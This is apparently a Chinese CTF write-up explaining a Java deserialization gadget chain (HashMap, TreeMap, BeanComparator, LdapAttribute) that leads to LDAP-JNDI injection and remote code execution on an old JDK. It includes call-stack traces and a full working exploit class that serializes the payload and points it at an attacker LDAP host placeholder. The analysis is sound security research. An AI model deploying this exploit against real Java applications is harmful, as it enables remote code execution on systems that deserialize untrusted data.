[TOC]

0x00 题目分析

本题考查Gadget链的挖掘。题目中给的lib库中存在CommonsBeanutils这条链,根据ysoserial中的代码可知这条链的几个关键节点如下:

PriorityQueue.readObject() -> BeanComparator.compare() -> TemplatesImpl.getOutputProperties() -> rce

然而本题的jdk版本是1.4,不存在PriorityQueueTemplatesImpl类。也就是说这条链的反序列化入口和执行rce的点都没了。年轻的我看到这里以为可能不是这条链,就略过了。然而这正是这道题的考点。

0x01 解题

既然考的就是这个点,那么首先要确定缺哪些东西。除去刚刚说的少的入口和出口,留给我们的就只剩下:BeanComparator.compare() -> 执行getter这条链。

链的入口需要执行compare(),最后rce的地方则需要在一个getter里。

0x02 入口

这里就直接讲解作者给出的链了。

HashMap.readObject() -> HashMap.putForCreate() -> AbstractMap.equals() -> TreeMap.get() -> TreeMap.getEntry() -> BeanComparator.compare()

本质上是当HashMap进行反序列化时,每反序列化一对k-v,都会把这对k-v与之前的k-v的key进行对比。详见下面代码

private void putForCreate(K var1, V var2) {
    int var3 = var1 == null ? 0 : hash(var1.hashCode());//计算hashcode
    int var4 = indexFor(var3, this.table.length);//根据hashcode计算key在this.table中的索引数

    for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) {
        Object var6;
        if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1 != null && var1.equals(var6))) {//如果当前的hash与之前key的hash相同,则判断这两个key是否相等,即调用当前key对象的equals()方法来判断。在本gadget中,var1就是AbstractMap对象,但由于这是抽象类,因此使用子类来代替,刚好TreeMap正是其子类。
            var5.value = var2;//如果相等,则更新之前key对应的value
            return;
        }
    }

    ...
}

后面就不再说了

0x03 出口:RCE

这是本题最精彩的地方,作者(膜拜voidfyoo师傅)直接给出了他发现的一条新的用于进行JNDI注入的getter gadget。

这个类就是com.sun.jndi.ldap.LdapAttribute,其getAttributeDefinition()方法存在ldap-jndi注入,可以进行rce。

public DirContext getAttributeDefinition() throws NamingException {
    DirContext var1 = this.getBaseCtx().getSchema(this.rdn);
    return (DirContext)var1.lookup("AttributeDefinition/" + this.getID());
}

刚看到这条链我以为是在var1.lookup(xx)【var1是LdapSchemaCtx对象】时造成的JNDI注入,然而我在构造时发现无法进行注入,跟踪之后发现这里只能从已经bind的对象中查询,因此无法利用。

实际上的调用点是在

c_lookup:982, LdapCtx (com.sun.jndi.ldap)
c_resolveIntermediate_nns:152, ComponentContext (com.sun.jndi.toolkit.ctx)
c_resolveIntermediate_nns:342, AtomicContext (com.sun.jndi.toolkit.ctx)
p_resolveIntermediate:381, ComponentContext (com.sun.jndi.toolkit.ctx)
p_getSchema:408, ComponentDirContext (com.sun.jndi.toolkit.ctx)
getSchema:388, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
getSchema:189, InitialDirContext (javax.naming.directory)
getAttributeDefinition:191, LdapAttribute (com.sun.jndi.ldap)

至于作者是如何发现这么深的点的,还要从LDAP-JNDI注入的最底层开始说起。

0x04 LDAP-JNDI注入 root cause

回顾一下JNDI注入,写一个LDAP-JNDI注入来调试,

new InitialContext().lookup("ldap://ip/exp");

调试之后,到最终的decodeObject()解析Reference对象之前(rce)的调用栈如下:

c_lookup:1032, LdapCtx (com.sun.jndi.ldap)
p_lookup:526, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:159, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:185, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:77, ldapURLContext (com.sun.jndi.url.ldap)
lookup:392, InitialContext (javax.naming)

因此,实际上除了InitialContext.lookup()会造成LDAP-JNDI注入,以下的方法也可以用。

LdapCtx.c_lookup()
ComponentContext.p_lookup()
PartialCompositeContext.lookup()
GenericURLContext.lookup()
ldapURLContext.lookup()
InitialContext.lookup()

本题正是使用了LdapCtx.c_lookup()

0x05 构造exp

已经知道了链的逻辑,然而在实际构造exp时还是有不少小坑点的,比如一开始我在构造最外层的HashMap对象时测试代码是这样写的:

TreeMap tm1 = new TreeMap();
TreeMap tm2 = new TreeMap();
tm1.put("111", "AAA");
tm2.put("111", "AAA");
HashMap hm = new HashMap();
hm.put(tm1, "111");
hm.put(tm2, "222");

然而这样构造最终的HashMap对象中实际上只有一个k-v对。因为在put时tm1.equals(tm2)是成立的,因此HashMap认为这是相同的对象,从而对这个key的value进行了更新。其实这里只要把两个TreeMap的key换成LdapAttribute对象实例就好了,而我当时以为只能通过反射来构造,便走了好长的一段弯路。

下面给出我最终构造出的exp

import org.apache.commons.beanutils.BeanComparator;
import javax.naming.CompositeName;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;


public class POC1 {
    public static void main(String[] args) {
        try{

            BasicAttribute la = getGadgetObj();//获取LdapAttribute对象

            BeanComparator bc = new BeanComparator("attributeDefinition");

            HashMap hm = new HashMap();
            TreeMap tm1 = new TreeMap(bc);//用于调用get()
            TreeMap tm2 = new TreeMap(bc);//用于调用equals()

            tm1.put("aaa", "AAA");
            tm2.put(la, "BBB");//key处放LdapAttribute对象

            hm.put(tm1, "111");
            hm.put(tm2, "222");

            //弯路,构造HashMap
            Field fi = hm.getClass().getDeclaredField("table");
            fi.setAccessible(true);
            Map.Entry[] hmentry = (Map.Entry[]) fi.get(hm);
            int tablelength = hmentry.length;
            tm1.hashCode();

            Method hash_mt = hm.getClass().getDeclaredMethod("hash", new Class[]{Object.class});
            hash_mt.setAccessible(true);
            Object indexfor_arg1 = hash_mt.invoke(hm, new Object[]{(Object)(new Integer(tm1.hashCode()))});//获取tm1的hashcode

            Method indexfor_mt = hm.getClass().getDeclaredMethod("indexFor", new Class[]{int.class, int.class});
            indexfor_mt.setAccessible(true);
            int final_index = Integer.parseInt(indexfor_mt.invoke(hm, new Object[]{new Integer(indexfor_arg1.toString()), new Integer(tablelength)}).toString());

            Map.Entry me = ((Map.Entry[])hmentry)[final_index];//这是key为tm1的entry

            // System.out.println(me);
            Class entryclazz = Class.forName("java.util.HashMap$Entry");
            Field key_fi = entryclazz.getDeclaredField("key");
            key_fi.setAccessible(true);
            Field modifierField = Field.class.getDeclaredField("modifiers");
            modifierField.setAccessible(true);
            modifierField.setInt(key_fi, key_fi.getModifiers() & ~Modifier.FINAL);//去掉final属性
            key_fi.set(me, tm2.clone());//将HashMap中的key替换成tm2,使两个相同
            //弯路结束

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(hm);

            System.out.println("trying...");

            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            HashMap hmhm = (HashMap)ois.readObject();



            System.out.println("end...");

        }catch (Exception e){
            e.printStackTrace();
        }
    }


    public static BasicAttribute getGadgetObj(){
        try{
            Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
            Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
            clazz_cons.setAccessible(true);

            BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"});
            Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
            bcu_fi.setAccessible(true);
            bcu_fi.set(la, "ldap://yourip");

            //不要调用getBaseCtx,否则序列化的时候,baseCtx属性会由于无法类型转换cast导致出错
//            Method gbc_mt = clazz.getDeclaredMethod("getBaseCtx", new Class[]{});
//            gbc_mt.setAccessible(true);
//            DirContext dc_1 = (DirContext)gbc_mt.invoke(la, new Object[]{});

            CompositeName cn = new CompositeName();
            cn.add("a");
            cn.add("b");
            Field rdn_fi = clazz.getDeclaredField("rdn");
            rdn_fi.setAccessible(true);
            rdn_fi.set(la, cn);
            return la;
        }catch (Exception e){
            e.printStackTrace();
        }
        return null;

    }

}

技术垃圾,如有错误大佬轻喷

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖